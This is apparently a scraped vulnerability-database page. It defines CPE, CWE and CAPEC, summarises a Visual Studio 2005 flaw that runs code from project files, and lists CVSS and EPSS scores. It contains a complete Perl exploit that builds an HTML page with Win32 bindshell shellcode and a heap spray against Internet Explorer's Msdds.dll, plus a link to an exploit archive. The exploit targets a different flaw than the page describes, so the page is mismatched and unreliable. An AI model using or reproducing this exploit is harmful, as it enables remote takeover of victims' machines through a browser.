CPE, which stands for Common Platform Enumeration, is a standardized scheme for naming hardware, software, and operating systems. CPE provides a structured naming scheme to uniquely identify and classify information technology systems, platforms, and packages based on certain attributes such as vendor, product name, version, update, edition, and language.
CWE, or Common Weakness Enumeration, is a comprehensive list and categorization of software weaknesses and vulnerabilities. It serves as a common language for describing software security weaknesses in architecture, design, code, or implementation that can lead to vulnerabilities.
CAPEC, which stands for Common Attack Pattern Enumeration and Classification, is a comprehensive, publicly available resource that documents common patterns of attack employed by adversaries in cyber attacks. This knowledge base aims to understand and articulate common vulnerabilities and the methods attackers use to exploit them.
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Search : CVE id, CWE id, CAPEC id, vendor or keywords in CVE
By design, Microsoft Visual Studio 2005 automatically executes code in the Load event of a user-defined control (UserControl1_Load function), which allows user-assisted attackers to execute arbitrary code by tricking the user into opening a malicious Visual Studio project file.
CVE Informations
Metrics
Metrics
Score
Severity
CVSS Vector
Source
V2
5.1
AV:N/AC:H/Au:N/C:P/I:P/A:P
nvd@nist.gov
EPSS
EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.
EPSS Score
The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.
Date
EPSS V0
EPSS V1
EPSS V2 (> 2022-02-04)
EPSS V3 (> 2025-03-07)
EPSS V4 (> 2025-03-17)
2022-02-06
–
–
40.62%
–
–
2022-02-13
–
–
40.62%
–
–
2023-03-12
–
–
–
1.39%
–
2023-04-23
–
–
–
1.42%
–
2023-06-11
–
–
–
1.9%
–
2023-07-30
–
–
–
1.63%
–
2023-09-24
–
–
–
2.21%
–
2023-12-03
–
–
–
1.92%
–
2024-02-11
–
–
–
1.92%
–
2024-06-02
–
–
–
1.92%
–
2024-06-02
–
–
–
1.92%
–
2024-12-22
–
–
–
3.13%
–
2025-01-19
–
–
–
3.13%
–
2025-03-18
–
–
–
–
30.94%
2025-03-30
–
–
–
–
37.4%
2025-03-30
–
–
–
–
37.4,%
EPSS Percentile
The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.
source: https://www.securityfocus.com/bid/16225/info
Microsoft Visual Studio is prone to a vulnerability that could allow remote attackers to execute arbitrary code. This issue stems from a design flaw that executes code contained in a project file without first notifying users.
Exploiting this issue allows attackers to execute arbitrary code in the context of the user viewing a malicious project file. Since viewing a project file is usually considered a safe operation, users may have a false sense of security by attempting to inspect unknown code before compiling or executing it.
This vulnerability may be remotely exploited due to project files originating from untrusted sources.
Visual Studio 2005 is reportedly vulnerable to this issue; other versions may also be affected.
#!/usr/bin/perl
#######################################################
#
# Microsoft Internet Explorer "Msdds.dll" Remote Code Execution Exploit
(0day)
#
# Bindshell on port 28876 - Vulnerability discovered and exploited by
Anonymous
#
# PoC code ripped from Berend-Jan Wever's Internet-Exploiter
#
# Vulnerable : EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F (Msdds.dll)
#
# Tested on : Microsoft Internet Explorer 6 SP2 (Windows XP SP2)
#
# Code usage : perl IE-Msddsdll-0day.pl > mypage.html
#
#######################################################
#
# This program is free software; you can redistribute it and/or modify it
under
# the terms of the GNU General Public License version 2, 1991 as published
by
# the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful, but
WITHOUT
# ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or
FITNESS
# FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
# details.
#
# A copy of the GNU General Public License can be found at:
# http://www.gnu.org/licenses/gpl.html
# or you can write to:
# Free Software Foundation, Inc.
# 59 Temple Place - Suite 330
# Boston, MA 02111-1307
# USA.
#
#######################################################
# header
my $header = "<html><body>\n<SCRIPT language=\"javascript\">\n";
# Win32 bindshell (port 28876) - SkyLined
my $shellcode = "shellcode = unescape(\"%u4343\"+\"%u4343\"+\"%u43eb".
"%u5756%u458b%u8b3c%u0554%u0178%u52ea%u528b%u0120%u31ea".
"%u31c0%u41c9%u348b%u018a%u31ee%uc1ff%u13cf%u01ac%u85c7".
"%u75c0%u39f6%u75df%u5aea%u5a8b%u0124%u66eb%u0c8b%u8b4b".
"%u1c5a%ueb01%u048b%u018b%u5fe8%uff5e%ufce0%uc031%u8b64".
"%u3040%u408b%u8b0c%u1c70%u8bad%u0868%uc031%ub866%u6c6c".
"%u6850%u3233%u642e%u7768%u3273%u545f%u71bb%ue8a7%ue8fe".
"%uff90%uffff%uef89%uc589%uc481%ufe70%uffff%u3154%ufec0".
"%u40c4%ubb50%u7d22%u7dab%u75e8%uffff%u31ff%u50c0%u5050".
"%u4050%u4050%ubb50%u55a6%u7934%u61e8%uffff%u89ff%u31c6".
"%u50c0%u3550%u0102%ucc70%uccfe%u8950%u50e0%u106a%u5650".
"%u81bb%u2cb4%ue8be%uff42%uffff%uc031%u5650%ud3bb%u58fa".
"%ue89b%uff34%uffff%u6058%u106a%u5054%ubb56%uf347%uc656".
"%u23e8%uffff%u89ff%u31c6%u53db%u2e68%u6d63%u8964%u41e1".
"%udb31%u5656%u5356%u3153%ufec0%u40c4%u5350%u5353%u5353".
"%u5353%u5353%u6a53%u8944%u53e0%u5353%u5453%u5350%u5353".
"%u5343%u534b%u5153%u8753%ubbfd%ud021%ud005%udfe8%ufffe".
"%u5bff%uc031%u5048%ubb53%ucb43%u5f8d%ucfe8%ufffe%u56ff".
"%uef87%u12bb%u6d6b%ue8d0%ufec2%uffff%uc483%u615c%u89eb\");\n";
# Memory
my $code = "bigblock = unescape(\"%u0D0D%u0D0D\");\n".
"headersize = 20;\n".
"slackspace = headersize+shellcode.length\n".
"while (bigblock.length<slackspace) bigblock+=bigblock;\n".
"fillblock = bigblock.substring(0, slackspace);\n".
"block = bigblock.substring(0, bigblock.length-slackspace);\n".
"while(block.length+slackspace<0x40000) block = block+block+fillblock;\n".
"memory = new Array();\n".
"for (i=0;i<700;i++) memory[i] = block + shellcode;\n".
"</SCRIPT>\n";
# Msdds.dll
my $clsid = 'EC444CB6-3E7E-4865-B1C3-0DE72EF39B3F';
# footer
my $footer = "<object
classid=\"CLSID:".$clsid."\"></object></body></html>\n".
"Microsoft Internet Explorer Msdds.dll COM Object Remote Exploit\n";
# print "Content-Type: text/html;\r\n\r\n"; # if you are in cgi-bin
print "$header $shellcode $code $footer";
source: https://www.securityfocus.com/bid/16225/info
Microsoft Visual Studio is prone to a vulnerability that could allow remote attackers to execute arbitrary code. This issue stems from a design flaw that executes code contained in a project file without first notifying users.
Exploiting this issue allows attackers to execute arbitrary code in the context of the user viewing a malicious project file. Since viewing a project file is usually considered a safe operation, users may have a false sense of security by attempting to inspect unknown code before compiling or executing it.
This vulnerability may be remotely exploited due to project files originating from untrusted sources.
Visual Studio 2005 is reportedly vulnerable to this issue; other versions may also be affected.
https://gitlab.com/exploit-database/exploitdb-bin-sploits/-/raw/main/bin-sploits/27073.zip